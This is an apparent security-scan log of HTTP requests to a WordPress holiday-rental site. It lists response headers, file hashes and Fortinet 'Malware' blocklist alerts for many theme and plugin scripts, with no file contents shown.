Sha256: 7a5269322ff32a50ed4ca7c5c6cbd997d97c3310023a6bfc6251b3805d673787

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/comment-reply.min.js?ver=3.5.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:25:15 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (786), with no line terminators
Size:   412
Md5:    87818ceb3510914586339269c23ece39
Sha1:   b8a843b89bc5f4b45b47b1f04a2cdcd5d8ced9d6
Sha256: 4e8eaf3cbd3c394a0200c47660f6d2f8bebee1fdd025024e5ef2590203d7c9ba

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/includes/addons/LayerSlider/css/layerslider.css?ver=4.5.5 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:40:18 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   2874
Md5:    b9d7d71e261b3e60f7a7f65c7044265b
Sha1:   5fbb95390d87cbf3ca53ff5bc31bf26606116413
Sha256: b67349e48ebdbbc807e2424e6dd0a58429a062c876848f8e611e31b91a9d4db5

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/css/ui.totop.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:11 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   341
Md5:    ac757998c0d4fd339a64a01c0ed2187a
Sha1:   c85b5958be8faad74a665cee1f7a9645c28c2ede
Sha256: 7acae1fe50451f429048c7bf4b59a35389e73bcf845a300695a8747c195e3511

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/cookie-notice/js/front.min.js?ver=1.2.40 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Fri, 17 Nov 2017 09:56:57 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (1768), with no line terminators
Size:   707
Md5:    2de727235ffe2905397eaa9ba4c2af4c
Sha1:   96da1b7ad1589b1f42e09e05b4b3eaf1c7668b47
Sha256: 9339fdb1c011033693fa478152fc975f0505f74b92a9db628290150fd04b559e

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/nextgen-gallery/js/ngg.slideshow.min.js?ver=1.06 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:32:33 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (1791), with no line terminators
Size:   810
Md5:    3c2a054a76782064f29c243c2b292e32
Sha1:   ad9f23b96fe1f99c5f8b674f9278050c6cf8680f
Sha256: e95d8ff902ac7dd6ef277975f1cfb373414b74d75a68330afa5f796f9ae90a3d
                                        
                                            GET /wp-content/plugins/nextgen-gallery/js/jquery.cycle.all.min.js?ver=2.9995 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:32:33 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (26590), with no line terminators
Size:   7521
Md5:    c193c6cf6f5ad5ba66cb0f00690f0cce
Sha1:   33c7efc180712aafd32250755f41bececb3c661d
Sha256: 55c5bfe3f7edcc65c8a68388d77741b3d8a4f50e1e10eff2e6e88fed96b9f1f7
                                        
                                            GET /wp-content/themes/Lamoon/includes/addons/LayerSlider/js/jquery-easing-1.3.js?ver=1.3.0 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:40:22 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text
Size:   2026
Md5:    35b78b363ceee12bffcd6293fb98fc75
Sha1:   1190552bb4359743def337a0ff72249b65363ee3
Sha256: 484acefa10389d1cdbfe8d645d32c74c22c25d27d6c92a78df97c9733b1dc7a6
                                        
                                            GET /wp-includes/js/jquery/jquery.js?ver=1.8.3 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:29:30 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (65483)
Size:   33730
Md5:    d6d85bc11bc8b8db1a24162a31ed9177
Sha1:   c127c8cc90cb3b8e340d758a969cba773e1374cb
Sha256: 52ef7cb72995c54330659a12564b752f5336b349978785f090c825ad706cb837
                                        
                                            GET /wp-content/themes/Lamoon/includes/addons/LayerSlider/js/jquerytransit.js?ver=0.9.9 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:40:22 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (6299)
Size:   3302
Md5:    51df9f86b4abcdc38ceb32f7b81e914a
Sha1:   45fdf855800b096c339cf9da981586cc6597a8f0
Sha256: 234086a21e4c083748ccae2c87a10c4e1bcc3ce86a571aa8f67bd6273cc38c0e

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/includes/addons/LayerSlider/js/layerslider.kreaturamedia.jquery.js?ver=4.5.5 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:40:23 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (47527)
Size:   17009
Md5:    4ad54c10827b370871de55dbb8fa5c8c
Sha1:   b918e2f605387ae5fdaf07aad8c7021f479d4653
Sha256: 9a0c5bae78f5e0d06a342bf15dfa501dbcba2a3d2ff439e3744056f9025270cd
                                        
                                            GET /wp-content/themes/Lamoon/css/base.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:07 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (493)
Size:   2944
Md5:    776f0422f828df7291d396f8d994a06e
Sha1:   0ef5a2f83594a5d7c253d02568a92f031bf757ce
Sha256: 5b95154101c43b9b0595a7eb87a8899b3e2f89ffdcfa355086cea9738d4b5561
                                        
                                            GET /wp-content/plugins/pricing-table/css/site/tipTip.css?ver=3.5.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:41 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   763
Md5:    94241b6d82bad82669eb826441d50cb1
Sha1:   efa69a80db3c4f0dac95f504e7fbab2878496985
Sha256: 57b61558e645c75d159f8ae10acf0f5f2086cc5478441a834b9cfff872331ed9
                                        
                                            GET /wp-content/themes/Lamoon/includes/addons/LayerSlider/js/layerslider.transitions.js?ver=4.5.5 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:40:25 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (20943)
Size:   3247
Md5:    a4942186e9e8f3d7f3b5894e2040eed0
Sha1:   3e125b4b72b5ecb126ebe4ed0b6537d3b130b21b
Sha256: 4aa061b855db86faf1d1a95e044a775b3a243e4e0c47132a98330701bbfa07c0
                                        
                                            GET /wp-content/plugins/fancybox-for-wordpress/fancybox/jquery.fancybox.js?ver=1.3.4 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:31:40 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (752)
Size:   5581
Md5:    7aaa8aa837f30bbbf8d09f530405583d
Sha1:   dc2f1a5a4eb5ba6c64784e9c5f7cf6b8a3a4dc0e
Sha256: c0f1c59f9787e56e9ebcf13d0f47ad1667b9536164b55c2c68042a16c2507f0c

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:29:58 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (524)
Size:   3789
Md5:    e8737b9b301d4ee8dfcf6f83dc626a44
Sha1:   c26ddc1f44ee95035a7d33d56d0db50cdbdad45d
Sha256: 21e9800c29f3ba561074ec0b2ec674e73297f06dfac8b040b922a7017ea90e6a

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/supersubs.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:34 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1598
Md5:    e1885a27bff139f05c8cf8ebdacf9cdf
Sha1:   94c96295cc0abf8cdb089003965ab4e3e7eb27cf
Sha256: acc79c1e139476cb5f3908a7b0038fb11e4f299d0b1dcc0feaa3c031d3c28fa4

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.hoverIntent.minified.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:30 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1709
Md5:    38daf2f187378aefc5951fec3bceb18b
Sha1:   28cc7ef726a200c3d8814f35fed496b6e837cfd6
Sha256: bab0dc8906ee2e25cbb433deca85d2f558ab352906167a10adc4be6765d7f539

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/superfish.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:33 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   2167
Md5:    751d15f12415f5832576570399d651c3
Sha1:   9a56deb198fd61565d4cfd0434a93a02fd3eb584
Sha256: f9a114a811a8a55846acf7fd38150ff9f2d4dc3cf9b934c3e334b8c304fa6aeb

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.easing.1.3.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:26 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text
Size:   1998
Md5:    dd81079af9f93aa59ac2123ef84e8380
Sha1:   f5ca316505f470f64368a5a0707392f5e1f23244
Sha256: 8bbd1597804c86bae536ba15e7129d40c9ce115432c675e14f2d3aa08fca95ea

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.cycle.lite.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:26 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   2416
Md5:    11433eacbe94d22ad783833b81a330de
Sha1:   457536e2fed6f97d8ad022a5d1b0e10e3763237c
Sha256: 39cc1778ee8696c709c46c47bfee8d408cd3536d2f814e5e6bb28d17b09eeffd

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.flexslider-min.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:28 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (554)
Size:   5066
Md5:    9afd1b9bcfafd95d02eaaa0afdb0c480
Sha1:   a84c1cd53eeb2c859dee28019a6bc9a5d6fce6b7
Sha256: c73b7352f4a2bdfd0e69965a2e3809e12b75d4a9baeb84c831b0668edd6f1e33

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/ui/jquery.ui.core.min.js?ver=1.9.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:16 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4530)
Size:   2072
Md5:    fea07057aa37635d57f9291931d5cec6
Sha1:   b4f04191aca68a0de8e36d2f01d42b9867983a8d
Sha256: 3f91f12d193bee3352c23900fbfcbeacacff789165e7415f05176352a9f76f11
                                        
                                            GET /wp-includes/js/jquery/ui/jquery.ui.widget.min.js?ver=1.9.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:24 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (6594)
Size:   2566
Md5:    56786640d2b80db63369aaa8ec622864
Sha1:   2203f9904cb390ca8ce22e7e4bc911549343b64e
Sha256: b14299c97ac46b6708073cb1188c4512a23ece6eb83492e75a0fce6e18ea4aa5

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.validationEngine.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:30 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (474)
Size:   13178
Md5:    8d0ae82cc23e535f039fecff59f16bb4
Sha1:   079e4bf5298e8a3f07d799e3c2ce793448605aed
Sha256: 68c1c302e4da308b327dffeb5d962a5ef275993456ca5606a2217527e73739a3

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/ui/jquery.ui.button.min.js?ver=1.9.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:15 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (7057)
Size:   2041
Md5:    1139d091477419302724411e16a1d878
Sha1:   486d473a0279d8f2f5c9a8e230f2ad3e42271c92
Sha256: d7dd4121334470bf86939148a9dda4fd2ef437376fa832e96491992d572ce64e

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/ui.spinner.min.js?ver=1.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:33 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (535)
Size:   3199
Md5:    8bf9e919a6c8cc65f99162429647e839
Sha1:   eb377bb3387591032ef27edb435b94a72b63e539
Sha256: 92371b528fc4bb964c85949a4e9623bd2772a9c69f8a892e5a27f6fbd4585e17

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js?ver=1.9.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
